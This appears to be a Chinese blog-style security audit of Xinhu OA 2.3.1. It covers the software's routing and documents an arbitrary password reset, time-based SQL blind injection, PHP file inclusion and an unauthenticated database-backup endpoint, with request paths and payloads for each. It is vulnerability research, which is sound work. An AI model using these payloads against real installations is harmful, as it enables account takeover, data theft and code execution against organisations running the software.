信呼OA2.3.1版本代码审计

环境搭建

下载:https://github.com/rainrocka/xinhu/tree/a25c5db365e346c9c03c5ee6269a80d2afb3a25b

搭建起来,改一下config的设置就好

image-20240918101016437

1、进入目录webmian下,将webmainConfig.php1 改成 webmainConfig.php,配置一下里面信息,如数据库,地址等。

2、在webmainConfig.php的参数randkey的填写:agpjwelxhcviusmzqdtbknoyrf,这个一定要写,每次刷新都会变的。

3、导入数据库,数据库文件在webmain/install/rockxinhu.sql。导入到配置的数据库名称中如:rockxinhu,没有就要建立个数据库。

4、删除文件:webmain/webmainConfig.php1,删除目录:webmain/install。

5、这样就基本完成了,用浏览器打开地址如:http://127.0.0.1/,登录初始帐号:admin,密码:123456。

修改初始密码为xinhu666

路由分析

要审计一个web项目,要做的第一件事就是搞懂这个项目的路由,或者说控制器的访问规则

从Index.php开始看,它包含了config.php:include_once('config/config.php');

而这个config.php也包含了一些文件,后面会用到

include_once(''.ROOT_PATH.'/include/rockFun.php');
include_once(''.ROOT_PATH.'/include/Chajian.php');
include_once(''.ROOT_PATH.'/include/class/rockClass.php');

它首先实例化了一个对象$rock = new rockClass();

跟进去看一下

public function __construct()
	{		
		$this->ip		= $this->getclientip();
		$this->host		= isset($_SERVER['HTTP_HOST'])		? $_SERVER['HTTP_HOST']		: '' ;
		$this->url		= '';
		$this->isqywx	= false;
		$this->win		= php_uname();
		$this->HTTPweb	= isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT']	: '' ;
		$this->web		= $this->getbrowser();
		$this->unarr	= explode(',','1,2');
		$this->now		= $this->now();
		$this->date		= date('Y-m-d');
		$this->lvlaras  = explode(',','select ,
		alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20');
		$this->lvlaraa  = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*');
		$this->lvlarab	= array();
		foreach($this->lvlaraa as $_i)$this->lvlarab[]='';
	}

这里就是获取客户端传过来的一些变量,这里它获取ip的方式就是http头,是可以伪造的,他用htmlspecialchars进行xss过滤,但是没设置参数,默认是只转换双引号的,这里存在XSS风险

public function getclientip()
	{
		$ip = '';
		if(isset($_SERVER['HTTP_CLIENT_IP'])){
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
			$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
		}else if(isset($_SERVER['REMOTE_ADDR'])){
			$ip = $_SERVER['REMOTE_ADDR'];
		}
		$ip= htmlspecialchars($this->xssrepstr($ip));
		if($ip){$ipar = explode('.', $ip);foreach($ipar as $ip1)if(!is_numeric($ip1))$ip='';}
		if(!$ip)$ip = 'unknow';
		return $ip;
	}

看一下这个方法:$rock->get

$rock->get('p', 'webmain')
    
public function get($name,$dev='', $lx=0)
	{
		$val=$dev;
		if(isset($_GET[$name]))$val=$_GET[$name];
		if($this->isempt($val))$val=$dev;
		return $this->jmuncode($val, $lx, $name);
	}
public function isempt($str)
	{
		$bool=false;
		if( ($str==''||$str==NULL||empty($str)) && (!is_numeric($str)) )$bool=true;
		return $bool;
	}

public function jmuncode($s, $lx=0, $na)
	{
		$jmbo = false;
		if($lx==3)$jmbo = $this->isjm($s);
		if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
			$s = str_replace('rockjm_', '', $s);
			$s = $this->jm->uncrypt($s);
			if($lx==1){
				$jmbo = $this->isjm($s);
				if($jmbo)$s = $this->jm->uncrypt($s);
			}
		}
		if(substr($s, 0, 7)=='basejm_' || $lx==5){
			$s = str_replace('basejm_', '', $s);
			$s = $this->jm->base64decode($s);
		}
		$s=str_replace("'", '&#39', $s);
		$s=str_replace('%20', '', $s);
		if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
		$str = strtolower($s);
		foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
			$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');
			$s = $this->lvlarrep($str, $v1);
			$str = $s;
		}
		$cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');
		if(in_array($na, $cslv))$s = $this->xssrepstr($s);
		return $this->reteistrs($s);
	}

将get传来的参数赋值给val,如果这个参数的值不合规(为空),就让val等于传入的dev,之后调用jmuncode对这个val进行处理,一方面是匹配前缀进行处理,一方面是进行过滤

至于这里的jm对象是啥时候被初始化的,实际上是这里

image-20240918144205865

但是这里有点奇怪,他在末尾调用的这个初始化,但是上面就用到了jm对象,这个对象是空,所以这里会出一个报错

image-20240918145442283

image-20240918145903472

接着看代码,config.php

接下来加载了配置文件

$_confpath = $rock->strformat('?0/?1/?1Config.php', *ROOT_PATH*, *PROJECT*);

这个写法用的还挺多的,上面看的if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));定义了这个PROJECT,webmain相当于我们没传p参数以后敲定的默认值了,这应该也是这个开发团队忽略了这个报错的原因。

再接着看这里config.php写的限制IP的方法

$_confpath = ''.*ROOT_PATH*.'/config/iplogs.php'; //这个用来限制IP访问的 if(file_exists($_confpath) && *PHP_SAPI* != 'cli')include_once($_confpath);

这个文件包含以后自动调用这个函数ipwhiteshows($rock->ip, $rock);

而这里rock的ip是不准的

image-20240918150924882

再粗略看一下,这里封ip用的是exit exit('您IP['.$ip.']禁止访问我们站点,有问题请联系我们');

到这里我们走出了config.php,继续回到index.php

判断是否传了rewriteurl,传了的话就把d m a分别重置为rewriteurl里下划线_分开的三段

if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}

image-20240918151508303

这里控制路由的几个参数就确定了,接下来在view.php里确定路由是怎么走的

$p			= PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m			= $rock->get('m', $m);
$a			= $rock->get('a', $a);
$d			= $rock->get('d', $d);

define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

PROJECT早就定义好了是webmain,其余的就是我们可以控制的MAD三个变量

include_once($rock->strformat('?0/?1/?1Action.php',*ROOT_PATH*, $p));

这里包含 /webmain/webmainAction.php文件

这一段算是定义好了路由怎么走,怎么动态执行类的方法

image-20240918152922885

再往下则是该CMS自写的模板解析功能

image-20240918153042350

代码审计

任意密码修改

定位这个漏洞起初是seay里定位到一个include/class/mysql.php的record函数

public function record($table,$array,$where='')
	{
		$addbool  	= true;
		if(!$this->isempt($where))$addbool=false;
		$cont		= '';
		if(is_array($array)){
			foreach($array as $key=>$val){
				$cont.=",`$key`=".$this->toaddval($val)."";
			}
			$cont	= substr($cont,1);
		}else{
			$cont	= $array;
		}
		if($addbool){
			$sql="insert into `$table` set $cont";
		}else{
			$where = $this->getwhere($where);
			$sql="update `$table` set $cont where $where";
		}
		return $this->tranbegin($sql);
	}

没有做啥过滤,寻找这个函数在哪里调用,搜索->record

找到了webmain\task\api\userAction.php,是一个控制器

漏洞存在于webmain/task/api/reimplatAction.php indexAction方法中

这个方法是有一个加密的,位于jm->strunlook($body, $key);,这个key默认是空的md5,是固定的,因此可以逆推加密:

// $test = $this->jm->strlook(json_encode(array("msgtype"=>"editpass","user"=>"admin","pass"=>"123456")), $key);

// echo $test;

$body = $this->getpostdata();
		if(!$body)return;
		$db 	 = m('reimplat:dept');
		$key 	 = $db->gethkey();
		$bodystr = $this->jm->strunlook($body, $key);
//        $test = $this->jm->strlook(json_encode(array("msgtype"=>"editpass","user"=>"admin","pass"=>"123456")), $key);
//        echo $test;

        if(!$bodystr)return;
	
		$data 	 = json_decode($bodystr, true);
		$msgtype = arrvalue($data,'msgtype');
		$msgevent= arrvalue($data,'msgevent');

//省略

if($msgtype=='editpass'){
			$user = arrvalue($data, 'user');
			$pass = arrvalue($data, 'pass');
			if($pass && $user){
				$where  = "`user`='$user'";
				$mima 	= md5($pass);
				m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
			}
		}

路由应该这么写:?d=task&m=reimplat|api&a=index

image-20240918165435941

成功修改密码

image-20240918165618132

SQL盲注

webmain/public/upload/uploadAction.php 在upfileAjax方法里面,找到执行sql语句处,跟进uploadback方法

这里路由应该这么写:?d=public&m=upload&a=upfile&ajaxbool=true

修改uptype为*,文件名为sql注入语句,可以看到成功延时

盲注语句可以这样写,这里单独的()会被过滤掉,双写就可以了

1' and if(ascii(substr((select database(())),1,1))>1,SLEEP(3),0)-- -

文件包含

在web根目录创建一个1.php里面写<?php phpinfo();

payload: http://127.0.0.1:999/?m=index&a=getshtml&surl=Li4vMQ==

分析:

include/View.php第88行定位到敏感函数include_once

include_once($mpathname);

看到第72行代码的形式$mpathname = $xhrock->displayfile;同样为获取某个类的成员属性

if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;

全局搜索displayfile

webmain/index/indexAction.php下发现惊喜

image-20240918175247135

可以看到这个文件中的$displayfile是以.php为后缀的变量,而变量$displayfile最后可以决定我们文件包含$mpathname的取值,也就是说这里可能存在一个.php的文件包含.

payload

?m=index&a=getshtml&surl=Li4vMQ==

未授权备份

在webmain/task/runt/sysAction.php中 这里用beifenAction调用了他的start方法

找到beifenClassModel,看到里面的start方法 会把数据库数据备份到upload/data目录下,以时间命名

这里staart不需要参数,感觉这种函数需要重点看,很容易有未授权

paylaod

/task.php?m=sys|runt&a=beifen
或者
?d=task&m=sys|runt&a=beifen
0%